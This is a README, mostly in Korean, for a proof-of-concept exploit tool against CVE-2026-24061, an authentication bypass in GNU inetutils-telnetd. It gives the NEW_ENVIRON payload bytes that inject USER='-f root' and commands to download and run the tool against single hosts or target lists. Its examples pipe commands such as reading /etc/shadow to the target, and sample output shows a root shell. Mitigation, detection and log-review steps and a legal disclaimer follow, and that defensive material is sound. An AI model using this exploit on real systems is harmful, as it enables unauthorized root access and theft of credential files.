
Proof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation.
CVE-2026-24061 취약점을 악용하기 위한 보안 연구 도구입니다. 이는 GNU inetutils-telnetd의 치명적인 원격 인증 우회 취약점으로, 인증 없이 즉시 루트 셸에 접근할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE 식별자 | CVE-2026-24061 |
| CVSS v3.1 점수 | 9.8 (Critical) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE 분류 | CWE-88: 명령어 인수 구분자의 부적절한 중립화 |
| 공급업체 | GNU Project |
| 제품 | inetutils-telnetd |
| 공개일 | 2026년 1월 20일 |
| 패치 가능 여부 | 추후 공지 |
GNU inetutils-telnetd (버전 2.7 이하)에서 인증되지 않은 원격 공격자가 인증을 완전히 우회하고 즉시 루트 셸에 접근할 수 있는 치명적인 취약점이 존재합니다. 이 취약점은 NEW_ENVIRON 텔넷 옵션을 통해 특수하게 조작된 USER 환경 변수 값을 "-f root"로 주입하여 모든 인증 메커니즘을 우회합니다.
| 버전 범위 | 상태 |
|---|---|
| <= 2.7 | 취약 |
| > 2.7 | 패치 상태 추후 공지 |
이 취약점은 telnetd NEW_ENVIRON 옵션 처리기에서 USER 환경 변수에 대한 부적절한 검증에서 비롯됩니다. NEW_ENVIRON 텔넷 옵션을 처리할 때 telnetd 서비스는 USER 변수 값을 login 프로세스에 전달하기 전에 검증하지 못합니다. USER를 "-f root"로 설정하면 공격자가 명령줄 인수를 주입하여 루트 사용자에 대한 인증이 자격 증명 없이 성공하도록 강제합니다.
모든 의존성은 Python 표준 라이브러리의 일부입니다:
| 패키지 |
|---|
# 저장소 복제
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# 익스플로잇 실행
python3 main.py -u <target_ip>
# 익스플로잇 다운로드
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# 실행 권한 부여 (Linux/macOS)
chmod +x main.py
# 익스플로잇 실행
python3 main.py -u <target_ip>
# Python 3.7+ 설치 확인
python3 --version
# 다운로드 및 실행
python3 main.py -u <target_ip>
사용법:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
인수:
-u 단일 대상 IP 주소 또는 호스트명
-l 대상 IP 목록 파일 경로 (한 줄에 하나)
-p 대상 포트 (기본값: 23)
-usr 익스플로잇할 사용자 (기본값: root)
단일 telnetd 인스턴스 익스플로잇:
# 기본 익스플로잇 (기본 포트 23, 사용자 root)
python3 main.py -u 192.168.1.100
# 사용자 정의 포트
python3 main.py -u 192.168.1.100 -p 2323
# 다른 사용자
python3 main.py -u 192.168.1.100 -usr admin
비대화식으로 명령 실행:
# 단일 명령
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# 여러 명령
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# 출력 리디렉션이 있는 명령
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
파일에서 여러 대상 익스플로잇:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
대상 파일 형식 (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
참고:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
익스플로잇은 텔넷 프로토콜 협상 단계를 활용합니다:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() 사용telnetd 비활성화: telnetd 서비스를 즉시 중지 및 비활성화
# systemd 기반 시스템
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# xinetd 기반 시스템
sudo service xinetd stop
sudo chkconfig telnet off
방화벽 규칙: 방화벽 수준에서 텔넷 포트(23) 차단
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
네트워크 격리: 인터넷에 노출된 시스템에서 텔넷 서비스 제거
텔넷 대신 SSH 사용:
# OpenSSH 서버 설치
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# SSH 활성화 및 시작
sudo systemctl enable sshd
sudo systemctl start sshd
# telnetd가 실행 중인지 확인
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# 제대로 비활성화되었다면 결과가 없어야 함
다음 패턴에 대해 시스템 로그 검토:
인증 로그:
# 비정상적인 로그인 패턴 확인
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# 의심스러운 USER 환경 변수 확인
sudo grep "USER.*-f" /var/log/auth.log
네트워크 로그:
# 활성 텔넷 연결 확인
sudo netstat -antp | grep :23
# 최근 루트 로그인 검토
sudo last | grep root
# 수정된 시스템 파일 확인
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# 루트 프로세스 나열
sudo ps aux | grep root
# 승인되지 않은 SSH 키 확인
sudo cat /root/.ssh/authorized_keys
중요: 사용 전 반드시 읽어보십시오
이 도구는 다음 목적으로만 엄격히 제공됩니다:
금지된 사용:
책임: 이 소프트웨어의 저자, 기여자 및 배포자는 이 도구의 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 사용자는 전적으로 다음에 대한 책임이 있습니다:
법적 고지: 컴퓨터 시스템에 대한 무단 접근은 심각한 형사 범죄입니다. 위반 시 다음과 같은 법률에 따라 기소될 수 있습니다:
처벌에는 징역, 상당한 벌금 및 민사 책임이 포함될 수 있습니다.
이 도구를 사용함으로써 귀하는 이 고지사항과 모든 관련 법률을 읽고 이해했으며 준수하는 데 동의함을 인정합니다.
| 버전 | 날짜 | 변경 사항 |
|---|---|---|
| 1.0.0 | 2026-01-23 | 최초 릴리스 |
질문, 문제 또는 기여 사항이 있는 경우:
이 프로젝트는 승인된 보안 연구 및 교육 목적으로만 제공되며, 있는 그대로 제공됩니다. 명시적이든 묵시적이든 어떠한 보증도 제공되지 않습니다. 모든 관련 법률 및 규정에 따라 자신의 책임으로 사용하십시오.
적절한 승인을 받은 경우에만 사용하십시오
| 용도 |
|---|
| socket | 네트워크 통신 |
| select | I/O 멀티플렉싱 |
| sys | 시스템 상호작용 |
| os | 운영 체제 인터페이스 |
| threading | 동시 대상 익스플로잇 |
| datetime | 타임스탬프 형식 지정 |
| 표시기 | 색상 | 설명 |
|---|
[SUCCESS] | 녹색 | 대상에 성공적으로 연결됨 |
[EXPLOIT] | 녹색 | 익스플로잇 페이로드가 성공적으로 전송됨 |
[INFO] | 파란색 | 현재 작업에 대한 정보 메시지 |
[ERROR] | 빨간색 | 연결 실패, 시간 초과 또는 익스플로잇 오류 |
[WARNING] | 노란색 | 경고 메시지 (현재 사용되지 않음) |
| 조치 | 우선순위 | 설명 |
|---|
| SSH 마이그레이션 | Critical | 원격 접근을 위해 텔넷을 SSH로 대체 |
| 패치 관리 | Critical | 보안 업데이트 모니터링 및 적용 |
| 서비스 감사 | High | 불필요한 네트워크 서비스 식별 및 비활성화 |
| 네트워크 분할 | High | 중요 시스템을 공용 네트워크와 분리 |
| 침입 탐지 | Medium | 익스플로잇 시도를 탐지하는 IDS/IPS 배포 |
| 접근 제어 | Medium | 원격 서비스에 대한 IP 허용 목록 구현 |